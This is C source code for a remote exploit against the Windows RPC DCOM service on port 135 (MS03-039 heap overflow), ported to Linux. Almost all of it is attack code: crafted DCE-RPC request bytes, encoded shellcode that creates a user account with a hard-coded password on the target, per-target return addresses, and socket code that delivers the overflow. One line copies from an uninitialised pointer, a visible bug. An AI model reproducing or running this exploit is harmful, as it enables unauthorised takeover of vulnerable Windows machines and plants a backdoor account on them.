#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

/* xfocus start */

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00
,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00
,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x00,
0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x0
0
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x4
5
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5
E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4
D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x4
1
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x0
0
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x4
5
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x0
3
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x0
0
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x2
9
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x0
0
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x0
0
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x1
0
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xF
F
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x1
0
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x0
9
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x0
0
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x0
0
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x0
0
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x0
0
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x0
1
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x0
3
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x0
0
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0
E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x0
0
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x0
0
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x0
0
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x0
0
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x0
0
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x0
0
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x0
0
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

//user="e" pass="asd#321"
unsigned char sc_add_user[]=
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
"\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC"
"\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8"
"\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA"
"\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED"
"\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99";
#define sc_offset               0x24
#define sc_max                  0x208
#define jmp_addr_offset sc_max+sc_offset+0x8
#define top_seh_offset  jmp_addr_offset+0x4

unsigned char sc[]=
"\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00"
"\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00"
"\x43\x00\x24\x00\x5c\x00"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"\xe9\xf3\xfd\xff\xff"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x0
0
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8
C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* end xfocus */

int type=0;
struct
{
        char    *os;
        u_long   dwTopSeh;
        char    *seh;
        u_long   dwJmpAddr;
        char    *jmp;
}
targets[] =
{
        { "2kEnSp4+MS03-026",
                0x7c54144c,
                "kernel32.dll v5.0.2195.6688",
                0x77a1b496,
                "OLEAUT32.dll v2.40.4522.0"},
        { "2kEnSp3+SomeHotFixs+MS03-026",
                0x77eda1f0,
                "kernel32.dll v5.0.2195.6079",
                0x77a1afa9,
                "OLEAUT32.dll v2.40.4518.0"}
}, v;
 



int main(int argc,char ** argv)
{
    int len,len1, sockfd, c, a;
    unsigned long ret;
        struct sockaddr_in addr_in;
    unsigned short port=135;
    unsigned char buf1[0x1000];
    unsigned char buf2[0x1000];
    int     i, iType;
        struct hostent *he;
        static char *hostname=NULL;




        printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n"
                        "Base on flashsky's MS03-026 exp\n"
                        "Code by ey4s<eyas#xfocus.org>\n"
                                                "Ported to linux by nulluid\n"
                        "If success, target will add a user \"e\" and password 
is \"asd#321\"\n\n");

        if(argc!=3)
        {
                printf("Usage: %s <target> <type>\n", argv[0]);
                                        for(i = 0; i < sizeof(targets)/sizeof(v
); i++)
                        printf( "<%d>   %s\n"
                                        "      TopSeh=0x%.8x in %s\n"
                                        "      JmpAddr=0x%.8x in %s\n",
                                        i, targets[i].os,
                                        targets[i].dwTopSeh, targets[i].seh,
                                        targets[i].dwJmpAddr, targets[i].jmp);
                return(1);
        }

        iType = atoi(argv[2]);
        if((iType<0) || iType > sizeof(targets)/sizeof(v))
        {
                printf("[-] Wrong type.\n");
                return;
        }

        hostname = argv[1];


        if(hostname==NULL)
    {
      printf("[-] Please enter a hostname with -d\n");
      exit(1);
    }

    printf("RPC DCOM remote exploit - .:[rootzero.net]:. - nulluid\n");
    printf("[+] Resolving host..\n");

    if((he = gethostbyname(hostname)) == NULL)
    {
      printf("[-] gethostbyname: Couldnt resolve hostname\n");
      exit(1);
    }



    /* drg */   

    memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user));
    memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4);
    memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4);
    printf("[+] Prepare shellcode completed.\n");


    memcpy(sc+36, (unsigned char *) ret, 4);

    addr_in.sin_family = AF_INET;
    addr_in.sin_addr = *((struct in_addr *)he->h_addr);
    addr_in.sin_port = htons(port);


    if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("[-] Socket failed");
        return(0);
    }
    
    if(connect(sockfd,(struct sockaddr *)&addr_in, sizeof(struct sockaddr)) == 
-1)
    {
        perror("[-] Connect failed");
        return(0);
    }

        printf("[+] Connect to %s:135 success.\n", argv[1]);

        if(sizeof(sc_add_user) > sc_max)
        {
                printf("[-] shellcode too long, exit.\n");
                return;
        }



                    /* xfocus start */
    len=sizeof(sc);
    memcpy(buf2,request1,sizeof(request1));
    len1=sizeof(request1);
    
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;  
    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
    
    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,sc,sizeof(sc));
    len1=len1+sizeof(sc);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);
    
    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
    

    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
  
    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0x
c;
    /* end xfocus */



        len=send(sockfd,bindstr,sizeof(bindstr),0);
    if(len<=0)
        {
            perror("[-] Send failed");
            return(1);
    }
        else 
                printf("[+] send %d bytes.\n", len);


    len=recv(sockfd, buf1, 1000, 0);
        if(len<=0)
    {
            printf("[-] recv error\n");
            return(1);
    }
    else
            printf("[+] recv %d bytes.\n", len);
    

    len = send(sockfd,buf2,len1,0);
        if(len<=0)
    {
            printf("[-] Send failed.\n");
            return(1);
    }
        else
                printf("[+] send %d bytes.\n", len);


        len=recv(sockfd,buf1,1024,0);
        if(len<=0)
        {
                printf("[+] Target crash or exploit success? :)\n");
        }
        else
                printf("[-] recv %d bytes. Bad luck!\n", len);
        
        return(0);

}